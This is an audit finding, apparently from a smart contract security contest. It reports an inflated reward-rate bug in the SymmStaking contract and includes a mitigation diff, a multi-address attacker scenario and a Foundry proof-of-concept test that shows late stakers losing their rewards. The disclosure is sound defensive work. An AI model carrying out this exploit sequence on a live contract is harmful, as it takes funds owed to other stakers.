Ancient Cinnamon Hawk

High

# Inflated Rewards Distribution Rate Favors Early Claimers, Causing Loss and Locked Rewards for Late Claimers


## Root Cause

If the admin withdraws reward tokens from the contract due to the absence of stakers and later redistributes them using the `notifyRewardAmount()` function after new stakers join but before the rewards distribution period ends, the reward token distribution rate formula incorrectly assumes that the contract holds `remaining * state.rate` reward tokens. As a result, when calculating the new distribution rate using `(amount + (remaining * state.rate))`, the rate becomes inflated.

```javascript
function _addRewardsForToken(address token, uint256 amount) internal {
        // ...
		if (block.timestamp >= state.periodFinish) {
			// ...
		} else {
			uint256 remaining = state.periodFinish - block.timestamp;
@>			uint256 leftover = remaining * state.rate;
@>			state.rate = (amount + leftover) / state.duration;
		}
        // ...
}
```

## Recommended Mitigation

Before calculating the new rate, check whether the contract holds at least the `leftover` amount of reward tokens. If not, calculate the new rate based solely on `amount`:

```diff
	function notifyRewardAmount(address[] calldata tokens, uint256[] calldata amounts) external nonReentrant whenNotPaused {
		// ...
		uint256 len = tokens.length;
		for (uint256 i = 0; i < len; i++) {
+                       uint256 balanceBefore = IERC20(token).balanceOf(address(this));
			IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
			pendingRewards[token] += amount;
-			_addRewardsForToken(token, amount);
+			_addRewardsForToken(token, amount, balanceBefore);
		}
		// ...
	}


-	function _addRewardsForToken(address token, uint256 amount) internal {
+       function _addRewardsForToken(address token, uint256 amount, uint256 balanceBefore) internal {
        // ...
		if (block.timestamp >= state.periodFinish) {
			// ...
		} else {
			uint256 remaining = state.periodFinish - block.timestamp;
			uint256 leftover = remaining * state.rate;

+                       if (leftover <= balanceBefore) {
+   		             state.rate = (amount + leftover) / state.duration;
+                       } else {
+                            state.rate = (amount) / state.duration; // Note: not doing `(amount + balanceBefore)` so attackers cant manipulate the rate because of using IERC20(token).balanceOf(address(this)) on notifyRewardAmount().
+                       }
		}
        // ...
    }
```

This solution requires further testing to ensure it does not introduce new issues.

## Summary

The contest README states:

> In the staking contract, if no tokens are staked, rewards will not be distributed, nor will they be carried forward to the next phase of distribution. In such scenarios, the admin will withdraw those rewards and redistribute them into the staking contract once some tokens are staked. 

when there are no stakers, the admin withdraws all reward tokens using the `rescueTokens()` function. Later, when stakers join again, the admin redistributes these tokens by calling the `notifyRewardAmount()` function.

This function internally calls `_addRewardsForToken()`, where the core problem occurs. The following scenario (as demonstrated in the proof of concept) explains the issue:

- Initial Period:
  - Assume there are 10 stakers who deposit tokens.
  - After one day, all stakers unstake and claim their rewards (for whatever reason).

- Admin Action:
  - Observing that no stakers remain, the admin withdraws all reward tokens using [rescueTokens()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L343).
  
- Redistribution Period:
  - A day later, a new set of 10 stakers deposits tokens.
  - The admin redistributes the same amount of withdrawn rewards by calling [notifyRewardAmount()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L275).
  - This function internally calls [_addRewardsForToken()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L366), shown below:

```javascript
	function _addRewardsForToken(address token, uint256 amount) internal {
		TokenRewardState storage state = rewardState[token];

		if (block.timestamp >= state.periodFinish) {
			state.rate = amount / state.duration;
		} else {
			uint256 remaining = state.periodFinish - block.timestamp;
			uint256 leftover = remaining * state.rate;
			state.rate = (amount + leftover) / state.duration;
		}

		state.lastUpdated = block.timestamp;
		state.periodFinish = block.timestamp + state.duration;
	}
```

the `amount` parameter equals the amount of reward tokens withdrawn via `rescueTokens()` function by admin previously. Because the rewards distribution has not yet finished, the `else` branch executes. 

This branch calculates a new rate based on the assumption that the contract holds `remaining * state.rate` tokens. However, since the admin withdrew all the reward tokens on `rescueTokens()` call, this calculation `(amount + (remaining * state.rate))` results in an inflated distribution rate.

The inflated rate causes early claimants to receive a larger share of rewards, leaving an insufficient amount of tokens for later claimants. This happens because early claimants take a portion of the rewards that would otherwise belong to later claimants due to the inflated distribution rate. Consequently, when these stakers try to claim their rewards, the `claimRewards()` function reverts due to the insufficient token balance.

Additionally, the admin cannot simply wait for the distribution period to end and set a new rate (which would trigger the `if` branch in `_addRewardsForToken()`) because the new rate would be based on the newly added rewards. As a result, stakers from the previous period who attempted to claim but failed may end up receiving rewards from the new distribution period. Since previous stakers rewards were calculated based on an inflated rate, this could lead to further loss and locked funds for new stakers.

**Attacker Exploitation Scenario:**

An attacker could exploit this design choice as follows:

- The attacker stakes SYMM tokens using 10 different addresses.
- a day later, They unstake intentionally and they claim rewards.
- The admin withdraws all reward tokens via `rescueTokens()`.
- A day after the admin's withdrawal, the attacker stakes again using 10 different addresses (distinct from the initial 10, to avoid suspicion/prevent the admin from realizing it is the same person who previously withdrew.)
- The admin redistributes all of the withdrawn rewards back to the contract using the `notifyRewardAmount()` function, resulting in an inflated rewards distribution rate.
- The attacker manages to claim rewards with most of his addresses (e.g., 7 out of 10 succeed while 3 fail due to insufficient tokens).
- When a new distribution period starts and the admin adds new rewards, the attacker claims rewards with the remaining 3 addresses.

This results in the attacker receiving an excessive amount of rewards from the new period, further exacerbating the loss and locking of rewards for the new stakers.

## Impact

Loss and Lock of Funds for Stakers.

## POC

```javascript
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18;




// ============= Imports ============= //
//
import   {    Test, console   }   from   "forge-std/Test.sol";
import   {    SymmStaking     }   from   "../src/staking/SymmStaking.sol";
import   {    Symmio          }   from   "../src/token/symm.sol";
import   {    MockERC20       }   from   "lib/solmate/src/test/utils/mocks/MockERC20.sol";


// ============= Notes ============= //
//
// - change symm.sol solidity version to 0.8.18 so it compiles if you're encountring issues.
// - install solmate library, we're going to need to create mock usdc contract
// - add following function in SymmStaking.sol contract which is going to be used for this specific POC:
//
//                                                                                                          	function getTokenRate(address token) public view returns(uint256){
//                                                                                                              	return rewardState[token].rate;
//                                                                                                              }
//
//

contract SymmStakingTest is Test {

    
    address admin      =   makeAddr("admin");
    address stakingToken;

    // reward token is USDC (6 decimals)
    address usdc;

    // symmStaking contract
    SymmStaking symmStaking;


    address[10] stakers_1;
    address[10] stakers_2;


    function setUp() external {
        vm.startPrank(admin);

                // 1. initialize SymmStaking Contract
                _initializeSymmstaking();

                // 2. add USDC to SymmStaking reward tokens list
                _addRewardToken();

                // 3. deposit rewards into staking contract
                _depositRewards();

                // 4. mint Symm Tokens to each staker in stakers_1 and stakers_2
                _mintSymmTokens();

        vm.stopPrank();
    }


    // run the test with: forge test --match-test test_attack --fork-url https://base-rpc.publicnode.com  -vvvv
    function test_attack() public {

        // 1. Each staker in stakers_1 stakes 1 SYMM token.
        _stakers_1_StakeSymmTokens();

        // 2. A day passes, and each staker, for whatever reason, decides to unstake their deposited SYMM tokens.
        //    As mentioned in the contest README, once there are no stakers, the admin will withdraw the reward tokens and redistribute them when new stakers join.
        skip(1 days);
        _stakers_1_UnstakeSymmTokens();
        _adminWithdrawRewardTokens();

        // 3. A day passes from the time the admin withdrew the rewards.
        //    A new set of stakers arrives and stakes SYMM tokens. For that reason, the admin redistributes the rewards.
        skip(1 days);
        _stakers_2_StakeSymmTokens();
        _adminRedistributesRewards();

        // 4. Five days pass, meaning we are at the end of the week (1 week has passed and the reward distribution period has ended).
        //    Stakers in stakers_2 staked for 5 days, and each one of them should be able to withdraw successfully; however,
        //    the last three stakers in stakers_2 cannot, because the rate became overinflated on admin notifyRewardAmount() function call and,
        //    on unstake, they try to withdraw an amount that the contract doesn't have enough USDC to cover.
        skip(5 days);
        _stakers_2_FirstSevenStakers_UnstakeSymmTokensAndClaimRewardsSuccessfully();
        _stakers_2_LastThreeStakers_AreUnableToClaimRewards();

    }
    

    // ============= Following Functions Below, are used to demonstrate the attack ============= //

    function _stakers_1_StakeSymmTokens() internal {
        console.log("");
        console.log("");
        console.log("STAKERS_1:");
        console.log("           Each staker in stakers_1 stakes 1 SYMM token.");
        console.log("");
        for (uint256 i = 0; i < stakers_1.length; i++) {
            vm.startPrank(stakers_1[i]);

                // 1. each staker from staker_1 stakes 1 SYMM token
                Symmio(stakingToken).approve(address(symmStaking), 1e18);
                symmStaking.deposit(1e18, stakers_1[i]);
                
            vm.stopPrank();
        }
    }

    function _stakers_1_UnstakeSymmTokens() internal {
        for (uint256 i = 0; i < stakers_1.length; i++) {
            vm.startPrank(stakers_1[i]);

                // 1. each staker from staker_1 unstakes and claims rewards
                symmStaking.withdraw(1e18, stakers_1[i]);
                symmStaking.claimRewards();

            vm.stopPrank();
        }
        console.log("           a day passes...");
        console.log("");
        console.log("           Each staker in stakers_1 decides to unstake and receives:", MockERC20(usdc).balanceOf(stakers_1[9]), "USDC, after 1 day of staking."); // each one of them received same amount of rewards, so no need to log balance of each.
    }

    function _adminWithdrawRewardTokens() internal {

        vm.startPrank(admin);

            // 1. admin withdraws all reward tokens from the contract because there's no stakers
            symmStaking.rescueTokens(usdc, MockERC20(usdc).balanceOf(address(symmStaking)), admin);

        console.log("");
        console.log("");
        console.log("ADMIN:");
        console.log("           Since there are no stakers, the admin withdraws the rest of the rewards from the contract by calling rescueTokens() function."); 
        console.log("");
        console.log("           This is the amount of USDC the admin withdrew from the contract: ", MockERC20(usdc).balanceOf(address(admin)),"USDC"); // this is how much left after stakers_1 unstake and claimrewards
        console.log("");
        console.log("");
        vm.stopPrank();
    }

    function _stakers_2_StakeSymmTokens() internal {
        console.log("STAKERS_2:");
        console.log("           a day passes...");
        console.log("");
        console.log("           A new set of stakers (called stakers_2) has joined, and each one of them staked 1 SYMM token.");
        console.log("");
        console.log("");
        for (uint256 i = 0; i < stakers_2.length; i++) {
            vm.startPrank(stakers_2[i]);

                // 1. each staker in staker_2 stakes 1 SYMM token
                Symmio(stakingToken).approve(address(symmStaking), 1e18);
                symmStaking.deposit(1e18, stakers_2[i]);
                
            vm.stopPrank();
        }
    }

    function _adminRedistributesRewards() internal {
        vm.startPrank(admin);
        console.log("ADMIN:");
        console.log("           The admin sees the new set of stakers and, for that reason, redistributes the withdrawn rewards back to the staking contract.");
        console.log("");
        console.log("           On notifyRewardAmount() call, the rewards distribution rate becomes overinflated because we don't reset the reward token rate on the rescueTokens() call,");
        console.log("           and it assumes that `(remaining * state.rate) + amount` is the amount of rewards available in the contract, but that's not true since the admin");
        console.log("           withdrew all of the USDC from the contract during the rescueTokens() call.");
        console.log("");
        console.log("           The reward distribution rate before the notifyRewardAmount() call:", symmStaking.getTokenRate(usdc));

            // 1. admin redistributes rewards because he sees new set of stakers came in and staked
            address[] memory token    =   new address[](1);
            uint256[] memory amount   =   new uint256[](1);

            token[0]  =  usdc;
            amount[0] =  MockERC20(usdc).balanceOf(admin);

            MockERC20(usdc).approve(address(symmStaking), amount[0]); 


            symmStaking.notifyRewardAmount(token, amount);            


        console.log("           The reward distribution rate after the notifyRewardAmount() call:", symmStaking.getTokenRate(usdc));
        console.log("");
        console.log("");
        vm.stopPrank();
    }


    function _stakers_2_FirstSevenStakers_UnstakeSymmTokensAndClaimRewardsSuccessfully() internal {
        console.log("STAKERS_2:");
        console.log("           Each staker in stakers_2 decides to unstake after 5 days of staking (note that 1 week has passed).");
        console.log("");
        for (uint256 i = 0; i < 7; i++) {
            vm.startPrank(stakers_2[i]);

                // 1. first seven stakers_2 unstake and log how much rewards they received
                symmStaking.withdraw(1e18, stakers_2[i]);
                symmStaking.claimRewards();

            vm.stopPrank();
        }
        console.log("           The first seven stakers in stakers_2 received:", MockERC20(usdc).balanceOf(stakers_2[6]), "USDC on unstake, after 5 days of staking."); // each one of them received the same amount
        console.log("");
    }

    function _stakers_2_LastThreeStakers_AreUnableToClaimRewards() internal {
        console.log("           Now, the last three stakers in stakers_2 are trying to unstake and claim rewards:");
        for (uint256 i = 7; i < 10; i++) { // notice the loop condition
            vm.startPrank(stakers_2[i]);

                // The last three stakers from stakers_2 attempt to unstake and claim their rewards, but each claimRewards() call reverts.
                symmStaking.withdraw(1e18, stakers_2[i]);

                vm.expectRevert();
                symmStaking.claimRewards();

            vm.stopPrank();
        }
        console.log("");
        console.log("           The claimRewards() function call reverts for each one of them because of insufficient available rewards.");
        console.log("");
        console.log("           This leads to a permanent lock of rewards for the last 3 stakers in stakers_2 because the overinflated reward distribution rate caused the first 7 stakers to take");
        console.log("           a portion of the rewards belonging to the last 3 stakers; as a result, there is insufficient balance in the contract to cover amount of rewards being transfered, as result, transfer() fails.");
        console.log("");
        console.log("");
    }

    // ============= Following Functions Below, are used to setUp SymmStaking Contract ============= //

    function _initializeSymmstaking() internal {

        // 1. deploy and set staking token. also grant minter role to admin.
        stakingToken = address(new Symmio("Symmio", "SYMM", admin));
        Symmio(stakingToken).grantRole(keccak256("MINTER_ROLE"), admin);

        // 2. initialize SymmStaking contract
        symmStaking = new SymmStaking();
        symmStaking.initialize(admin, stakingToken);

    }

    function _addRewardToken() internal {

        // 1. deploy usdc mock contract
        usdc = address(new MockERC20("USDC", "USDC", 6));

        // 2. add usdc to symmStaking contract reward tokens list
        symmStaking.configureRewardToken(usdc, true);

    }

    function _depositRewards() internal {

        // 1. mint some amount of usdc to admin
        MockERC20(usdc).mint(admin, 10_000e6);

        // 2. deposit rewards (usdc) into symmStaking contract
        address[] memory token    =   new address[](1);
        uint256[] memory amount   =   new uint256[](1);

        token[0]  =  usdc;
        amount[0] =  10_000e6;

        MockERC20(usdc).approve(address(symmStaking), 10_000e6); // $10k reward in usdc


        symmStaking.notifyRewardAmount(token, amount);
        
    }

    function _mintSymmTokens() internal {
        for (uint256 i = 0; i < stakers_1.length; i++) {
            string memory stakerName_1 = string(abi.encode("staker_1", i + 1));
            stakers_1[i] = makeAddr(stakerName_1);

            string memory stakerName_2 = string(abi.encode("staker_2", i + 3));
            stakers_2[i] = makeAddr(stakerName_2);

            // 1. mint 1 SYMM Token to each staker
            Symmio(stakingToken).mint(stakers_1[i], 1e18);
            Symmio(stakingToken).mint(stakers_2[i], 1e18);
        }
    }

}
```